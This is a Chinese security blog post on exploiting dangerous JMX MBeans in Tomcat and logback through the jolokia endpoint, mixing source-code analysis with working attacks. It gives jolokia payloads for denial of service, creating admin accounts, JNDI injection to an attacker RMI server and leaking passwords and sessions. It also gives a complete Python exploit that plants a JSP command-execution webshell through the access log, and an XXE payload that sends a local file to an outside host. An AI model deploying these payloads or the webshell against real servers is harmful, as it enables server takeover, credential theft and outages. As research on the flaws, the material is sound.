Diggid's Blog

Java JMX系列(4)-利用特殊的MBean

字数统计: 4.3k阅读时长: 19 min
2021/11/22 Share

前言

上两篇中介绍了JMX的历史攻击方式,这一篇则介绍更加具体的组件依赖的攻击方式:利用特殊的MBean来攻击JMX。严格来讲,这不算是JMX特性的通用安全问题了,而是依赖于组件中的危险MBean和不当配置暴露的Operation。这一篇文章也会持续更新不同组件(容器、第三方JMX应用)中的MBean利用。

回顾前两篇,攻击的连接发起都是通过JMX Connector的方式直接去连接操作JMX service。而在这一篇中,可以依赖第三方JMX Adapter/Connector去作为中间介质去和JMX Server交互,如jolokia等,所以下面篇章的分类方式是:组件分类/存在问题的组件/不同的Adapter或Connector。因为大部分情况下,存在问题的组件是相对稳定的,即其暴露的MBean是不会因为Adapter或Connector不同而改变的,而Adapter或Connector可能会有其自身的调用规范,所以操作MBean的方式不同,只需要适配其调用规则,就能够实现危险MBean的利用。

第三方JMX管理应用

jolokia

可以直接看文档:https://jolokia.org/reference/html/protocol.html

Web Server

Tomcat

  1. Tomcat中MBean的注册

Tomcat注册MBean的方式使用的是类似于Apache common modeler的方式,将MBean的信息保存在mbeans-descriptors.xml中,所以每个MBean暴露的Operation是已经写死了的,且规定了每个MBean的group、实际java类type、注册到Tomcat中的类型className(缺省是BaseModelMBean)。每个MBean在Tomcat中都会注册成为一个ManagedBean,在Tomcat初始化的时候会调用MbeansDescriptorsDigesterSource#loadDescriptors方法解析注册xml中的所有MBean且缓存在org.apache.tomcat.util.modeler.Registry#descriptors这个Map中。等到实际获取MBeanServer时,再将之前加载好的MBean封装成className代表的类型,这个类型就是Tomcat对外暴露的MBean的类型,所有类型都继承了BaseModelMBean。比如StandService这个类,最后会封装成ServiceMBean,如下:

image-20211124104712415

  1. Tomcat中MBean Operation的调用

和正常的MBean类似,只不过Tomcat中所有MBean的invoke的入口是BaseModelMBean#invoke,该方法中会获取到MBean#Opreation对应的JavaBean#Method,然后反射调用

  1. Tomcat xml定义的MBean和对外暴露的MBean的属性差异

注意,在Tomcat的mbeans-descriptors.xml中属性和对外暴露的属性有以下对应关系:

  • className - class(MBean)
  • group - type
  • type - 真正被管理的Java类(不暴露在ObjectName中)

在xml中,type属性才是MBean管理的真正java类型,group属性代表的是一个接口名,type属性代表的java类实现了这个接口。比如Tomcat:type=Service这个MBean,type是org.apache.catalina.StandardService,group是Service(其实代表着org.apache.catalina.Service这个接口),StandardService实现了Service。

根据mbeans-descriptors.xml,我们可以从一个对外暴露MBean找到真正的java类,也可以从一个java类推出其对外暴露MBean的name。以下面为例,可以得到

  • java类:type=”org.apache.catalina.core.StandardService”
  • 暴露的MBean Name一般是:Catalina:type=Service,class=org.apache.catalina.mbeans.ServiceMBean
1
2
3
4
5
6
<mbean name="StandardService"
description="Standard Service Component"
domain="Catalina"
group="Service"
type="org.apache.catalina.core.StandardService"
className="org.apache.catalina.mbeans.ServiceMBean">

因此光从外部暴露的MBean来说,我们无法知道其实际管理的java类。这可能是Tomcat对MBean管理和保护的一种机制吗?

  1. Tomcat暴露的Domain差异
  • 正常Tomcat,叫Catalina
  • 内嵌Tomcat,叫Tomcat,如在Springboot中

DoS - Service#stop

  • jolokia
1
2
3
4
5
6
7
8
POST /jolokia

{
"type": "EXEC",
"mbean": "Tomcat:type=Service",
"operation": "stop",
"arguments": []
}

实际调用的是org.apache.catalina.StandardService#stop方法,继承于LifecycleBase,可以宕掉整个Tomcat容器,造成DoS

Create Admin Account - UserDatabase#create*

  • jolokia
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createRole",
"arguments": ["manager-gui", ""]
}

{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createUser",
"arguments": ["username", "password", ""]
}

{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=User,username=\"username\"",
"operation": "addRole",
"arguments": ["manager-gui"]
}

注意,在embed tomcat中并不存在manager页面和User。所以在springboot等使用了embed tomcat的场景下该方法不可用

上面三个Operation实现了以下操作

  1. 创建role:manager-gui,即可访问/manager/html页面
  2. 创建用户,设置密码
  3. 为当前user添加role,即当前用户可以登录/manager页面执行操作

在tomcat中,可以在conf/tomcat-users.xml目录下配置user、role等权限

1
2
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>

以上配置就是为tomcat:s3cret这个用户配置了manager-gui角色,使其能够访问/manager/html页面

image-20211124132104197

实际是通过org.apache.catalina.users.MemoryUserDatabase类的createRole、createUser、addRole方法来的,具体代码就不跟了。

image-20211124154021966

JNDI - MBeanFactory#createJNDIRealm

  • jolokia
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}

{
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

{
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://your-vps-ip:1389/JNDIObject"
}

{
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}

{
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

这里还是以Springboot+jolokia为环境分析一下这个漏洞。

漏洞原理

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm,会注册为Tomcat:realmPath=/realm0,type=Realm这个MBean
  2. 设置 connectionURL 地址为 RMI Service URL,注意这里只能打RMI的JNDI注入,高版本用ELProcessor注入绕过
  3. 设置 contextFactory 为 RegistryContextFactory
  4. stop Realm
  5. start Realm 以触发指定 RMI 地址的 JNDI 注入。实际Sink点是new InitialContext(env)

漏洞分析

在分析之前,先提一下从后面分析中学到的新的触发rmi型JNDI注入的方式

1
2
3
4
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.provider.url", "rmi://101.132.159.30:1099/Evil");
env.put("java.naming.factory.initial","com.sun.jndi.rmi.registry.RegistryContextFactory");
InitialContext initialContext = new InitialContext(env);

缺点是需要可控一个Hashtable类型的对象,不像lookup/doLookup只需可控一个String类型的URL这么干脆。但是在代码层面,还是有用武之地的。简单跟一下流程

跟进到javax.naming.InitialContext#init方法中,首先ResourceManager.getInitialEnvironment(env)从传入的env中获取jndi规定的属性,保存在myProps中

image-20211124161719884

然后调用getDefaultInitCtx,这里gotDefault是false,传入属性创建Context,在创建的过程中就lookup了。而一般的lookup是通过NamingManager.getURLContext("rmi"|"ldap", null);来获取的

image-20211124162004156

跟进,获取RegistryContextFactory,然后调用RegistryContextFactory#getInitialContext(env)

image-20211124162622694

继续跟进如下调用栈

1
2
3
4
getObjectInstance:53, rmiURLContextFactory (com.sun.jndi.url.rmi)
URLToContext:102, RegistryContextFactory (com.sun.jndi.rmi.registry)
getInitialContext:69, RegistryContextFactory (com.sun.jndi.rmi.registry)
getInitialContext:684, NamingManager (javax.naming.spi)

image-20211124162818492

com.sun.jndi.url.rmi.rmiURLContextFactory#getUsingURL中,最终触发lookup。这里实际和InitialContext#lookup所达到的点是一样的。

image-20211124163015560

但是需要注意的是,对于ldap方式的com.sun.jndi.ldap.LdapCtxFactory,不会调用lookup。

接下来分析一下这个漏洞的点

createJNDIRealm

关于Tomcat Realm:https://wiki.jikexueyuan.com/project/tomcat/realms-aaa.html

简单来说,就是存储了User和Role信息的一个域,Servlet能够很方便的在Realm中获取信息并确认权限

该方法会创建一个Tomcat下的Realm,即JNDIRealm,通过connectionURL来设置连接地址,contextFactory来设置连接方式,默认是com.sun.jndi.ldap.LdapCtxFactory

简单跟一下,springboot endpoint->jolokia调度的部分就不分析了,和前面的一样。

这里初始化一个新的JNDIRealm,然后获取到容器(Engine、Host、Context),这里获取的是Engine。

setRealm方法往Engine中放入我们的JNDIRealm,该方法做了以下操作

  1. LifecycleBase#stop:关闭Old Realm
  2. LifecycleBase#start:开启新Realm,开启过程中会进行一系列初始化。
    • 包括注册Mbean,在LifecycleMBeanBase#initInternal,Tomcat:type=Realm,realmPath=/realm0
    • 创建Context,触发漏洞的点,在后面会分析。
setContextFactory

默认的contextFactory是com.sun.jndi.ldap.LdapCtxFactory,需要设置成rmi的RegistryContextFactory。

这里调用的是MBean属性的WRITE,即setXxx,这并不是一个Operation,而是jolokia提供的Read和Write操作

setConnectionURL

设置jndi的url

stop

关闭当前的Realm。

start

重新开启Realm。这个操作是触发漏洞的点,跟一下源码。

image-20211125095403283

start中两个重要的方法:init和startInternal。由于当前的Realm的状态是STOPPER,所以init不用看。

直接跟进startInternal,跟进到org.apache.catalina.realm.JNDIRealm#open,可以看到这里的createDirContext要创建DirContext,且传入getDirectoryContextEnvironment获取的env。这里就有点类似前面的new InitialContext(env)了。

image-20211125095642342

继续跟进createDirContext,其实这里已经分析结束了。new InitialDirContext(env)也是能够触发的,因为其继承InitialContext,构造方法中也调用了super(env)

image-20211125095902812

image-20211125100030854

Write AccessLog Getshell

  • jolokia
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"type":"READ",
"mbean":"java.lang:type=Runtime",
"attribute":"SystemProperties"
}

{
"type": "WRITE",
"mbean": "Catalina:type=Valve,host=localhost,name=AccessLogValve",
"attribute": "pattern",
"value": "%{User-Agent}i"
}

{
"type": "EXEC",
"mbean": "Catalina:type=Valve,host=localhost,name=AccessLogValve",
"operation": "rotate(java.lang.String)",
"arguments": ["path/webapps/ROOT/shell.jsp"]
}

漏洞原理

可以通过改变AccessLog的位置为webapps目录下的Xxx.jsp,然后发送包含jsp内容的脏请求来往日志中写。然后访问Xxx.jsp来Getshell。

Tomcat暴露出AccessLogValve,当请求来时,会调用相应容器Container的logAccess方法,该方法会调用AccessLogValve的log方法来往access log中写入日志内容。AccessLogValverotate方法用于accesslog切割,带参数的rotate方法可以切割访问信息到指定文件。即假设原先的accesslog是1.txt,调用rotate(2.txt),会清空2.txt文件,访问一次webapp,此时2.txt中未写入access信息,而是保存在缓存中,再调用一次rotate(2.txt)会将缓存的信息刷新到2.txt中。

AccessLogValve的pattern属性用于控制access信息的格式,具体可参考http://xiaobaoqiu.github.io/blog/2014/12/30/tomcat-access-logpei-zhi/,常用的格式有:

image-20211125213836748

通过rotate(fileName)和修改pattern属性,我们可以写入任意内容,因此我们可以考虑在可访问的webapps目录下写入jsp来getshell,但是我们必须要知道Tomcat Path(绝对路径),一般情况下,可以通过读取环境变量来获取CATALINA_HOME

对于access格式,默认情况下是%h %l %u %t “%r” %s %b,而且在URL中写jsp的话,对于<%等字符不合法,会爆400,写进去的内容是null。所以我们需要修改一下access格式,这里选取下面的%{xxx}i/o/c都比较方便

攻击步骤

简单说一下整个步骤:

  1. READ SystemProperties:获取CATALINA_HOME,拼接上可访问的webapps目录作为accesslog目录
  2. WRITE pattern:修改access格式为%{User-Agent}i,即可在UA中放入我们的jsp代码
  3. 第一次EXEC rotate:参数为accesslog目录/shell.jsp
  4. 用burp在UA写jsp内容,访问任意页面。下面是带回显,也可以注入冰蝎马、内存马啥的。
1
<%@ page import="java.io.BufferedReader" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.InputStreamReader" %><% Process p = java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));InputStream in = p.getInputStream();StringBuilder sb = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(in));String line;while((line = br.readLine()) != null){sb.append(line).append("\n");}response.getWriter().write(sb.toString()); %>
  1. 第二次EXEC rotate:参数和上面一下,刷新写入access log即shell.jsp中

搓一个exp,方便一点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from re import S
import requests
import json

url = "http://127.0.0.1:8080"

read_home = """{
"type":"READ",
"mbean":"java.lang:type=Runtime",
"attribute":"SystemProperties"
}"""

write_pattern = """{
"type": "WRITE",
"mbean": "Catalina:type=Valve,host=localhost,name=AccessLogValve",
"attribute": "pattern",
"value": "%{User-Agent}i"
}"""

exec_rotate = """{
"type": "EXEC",
"mbean": "Catalina:type=Valve,host=localhost,name=AccessLogValve",
"operation": "rotate(java.lang.String)",
"arguments": ["%s"]
}"""


jsp = """<%@ page import="java.io.BufferedReader" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.InputStreamReader" %><% Process p = java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));InputStream in = p.getInputStream();StringBuilder sb = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(in));String line;while((line = br.readLine()) != null){sb.append(line).append("\\n");}response.getWriter().write(sb.toString()); %>"""

catalina_home = ""
shell_path = "/docs/shell.jsp"

def read():
global catalina_home
r = requests.post(url + "/jolokia", json=json.loads(read_home), proxies={"http":"http://127.0.0.1:8081"})
data = json.loads(r.text)
catalina_home = data["value"]["catalina.base"]
if len(catalina_home) == 0:
catalina_home = data["value"]["catalina.home"]

def exp():
rotate = exec_rotate % (catalina_home + "/webapps" +shell_path)
workflow = [write_pattern, rotate, "jsp", rotate]
for work in workflow:
if work == "jsp":
head = {"User-Agent" : jsp}
r = requests.get(url, headers=head, proxies={"http":"http://127.0.0.1:8081"})
else:
r = requests.post(url + "/jolokia", json=json.loads(work), proxies={"http":"http://127.0.0.1:8081"})

def cmd(cmd):
r = requests.get(url + shell_path + "?cmd=" + cmd)
print(r.text)

if __name__ == "__main__":
read()
exp()
cmd("whoami")

Leak Info

除了上面的操作外,还可以通过其他MBean来泄露一些敏感信息

  • Leak User Password
1
2
3
4
5
6
7
Users->User->”manager”->UserDatabase->Attributes

{
"type": "READ",
"mbean": "Users:database=UserDatabase,type=User,username=\"username\"",
"attribute": "password"
}
  • Leak Sessions
1
2
3
4
5
6
7
8
 Catalina->Manager->[ApplicationName/context]->Operations->listSessionIds()

{
"type": "EXEC",
"mbean": "Catalina:type=Manager,host=localhost,context=/manager",
"operation": "listSessionIds",
"arguments": []
}

Component

logback

JNDI - JMXConfigurator#reloadByURL

以Springboot jolokia logback JNDI RCE为例,简单分析一下。由于是基于springboot的,所以需要一些前置条件

  • 以web的方式暴露jolokia Endpoint
  • 允许外连

漏洞原理

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

漏洞分析

JMXConfigurator#reloadByURL方法的参数是URL类,但是我们从jolokia-URL传入的参数是String类型的,在ExecHandler#doHandleRequest中会做一步类型转换再调用JmxMBeanServer#invoke去处理,从转换中我们可以看到,null的字符串表示是[null],空串的字符串表示是"",数组的字符串表示是[]

image-20211120130615987

最后会得到合适类型的参数来调用reloadByURL方法

image-20211120131850797

接下来,初始化一个JoranConfigurator,然后继续调用doConfigure方法

image-20211120134048894

直接对可控URL调用了以下代码,很明显的SSRF

1
2
url.openConnection();
in = urlConnection.getInputStream();

获取到URLConnection后,近一步调用doConfigure来解析远程获取的jolokia.xml文件

将远程资源封装为org.xml.sax.InputSource然后调用SaxEventRecorder#recordEvents方法来解析xml文件

image-20211120134426315

image-20211120134438552

熟悉的xml解析SAXParser#parse,只要buildSaxParser方法在初始化SAXParser没有设置相关xxe防御选项,就可以造成XXE

image-20211120134555700

可以看到,没有设置防止外部实体注入的相关feature,正确的写法

1
2
3
4
5
6
7
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
SAXParser parser = spf.newSAXParser();
parser.parse(InputSource, (HandlerBase) null);

所以这里可以更换一下payload来XXE,如下

1
2
3
4
5
6
7
8
9
10
// xml
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///tmp/flag">
<!ENTITY % remote SYSTEM "http://0.0.0.0:7777/xxe.dtd">
%remote;
%get;
%send;
]>
// dtd
<!ENTITY % get "<!ENTITY &#37; send SYSTEM 'http://0.0.0.0:8888/%file;'>">

正常情况下,解析出xml的标签event如下

image-20211120135629899

再进一步调用doConfigure方法来解析标签。实际是调用的EventPlayer组件的play方法

image-20211120135823488

直接看到处理StartEvent(insertFromJNDIenv-entry-name)的地方

image-20211120140033792

这里会根据ElementPath来在map中查找对应的Action,此时的ElementPath是[configuration][insertFromJNDI],这里直接可以在logback官方文档中查找logback配置文件支持的xml标签

http://logback.qos.ch/manual/configuration.html#insertFromJNDI

image-20211120140615309

在相应的map中也可以找到指定的Action,一个Action其实对应的就是一段具体的标签操作,用begin和end方法对应标签的start和end的处理

image-20211120140813556

之后就会调用ch.qos.logback.classic.joran.action.InsertFromJNDIAction#begin,赤裸裸的jndi注入

image-20211120141119992

image-20211120142258464

总结一下整个过程,涉及三大组件

  1. SpringBoot暴露出未授权的jolokia actuator模块,可以在/jolokia/exec中调用/jolokia/list列出的所有已注册的Mbean的指定方法
  2. jolokia解析传入的jolokia-URL,得到相应的操作(exec)和Mbean信息(mbean,method,arg),然后调用的是logback的JMXConfigurator#reloadByURL
  3. logback的JMXConfigurator组件的reloadByURL对应的是logback从外部加载配置的功能,其中指定如下标签的话,可以从外部jndi加载配置。其中涉及外连配置所在地、解析xml、连接jndi,这几部分都没有相应的防护,会造成SSRF、XXE和JNDI注入。
1
<insertFromJNDI env-entry-name="ldap://..." as="appName" />

参考

  1. https://www.anquanke.com/post/id/103016#h2-0
  2. http://uuzdaisuki.com/2021/05/12/webshell%E5%85%8D%E6%9D%80%E7%A0%94%E7%A9%B6jsp%E7%AF%87/
  3. https://jolokia.org/reference/html/protocol.html
CATALOG
  1. 1. 前言
  2. 2. 第三方JMX管理应用
    1. 2.1. jolokia
  3. 3. Web Server
    1. 3.1. Tomcat
      1. 3.1.1. DoS - Service#stop
      2. 3.1.2. Create Admin Account - UserDatabase#create*
      3. 3.1.3. JNDI - MBeanFactory#createJNDIRealm
        1. 3.1.3.1. 漏洞原理
        2. 3.1.3.2. 漏洞分析
          1. 3.1.3.2.1. createJNDIRealm
          2. 3.1.3.2.2. setContextFactory
          3. 3.1.3.2.3. setConnectionURL
          4. 3.1.3.2.4. stop
          5. 3.1.3.2.5. start
      4. 3.1.4. Write AccessLog Getshell
        1. 3.1.4.1. 漏洞原理
        2. 3.1.4.2. 攻击步骤
      5. 3.1.5. Leak Info
  4. 4. Component
    1. 4.1. logback
      1. 4.1.1. JNDI - JMXConfigurator#reloadByURL
        1. 4.1.1.1. 漏洞原理
        2. 4.1.1.2. 漏洞分析
  5. 5. 参考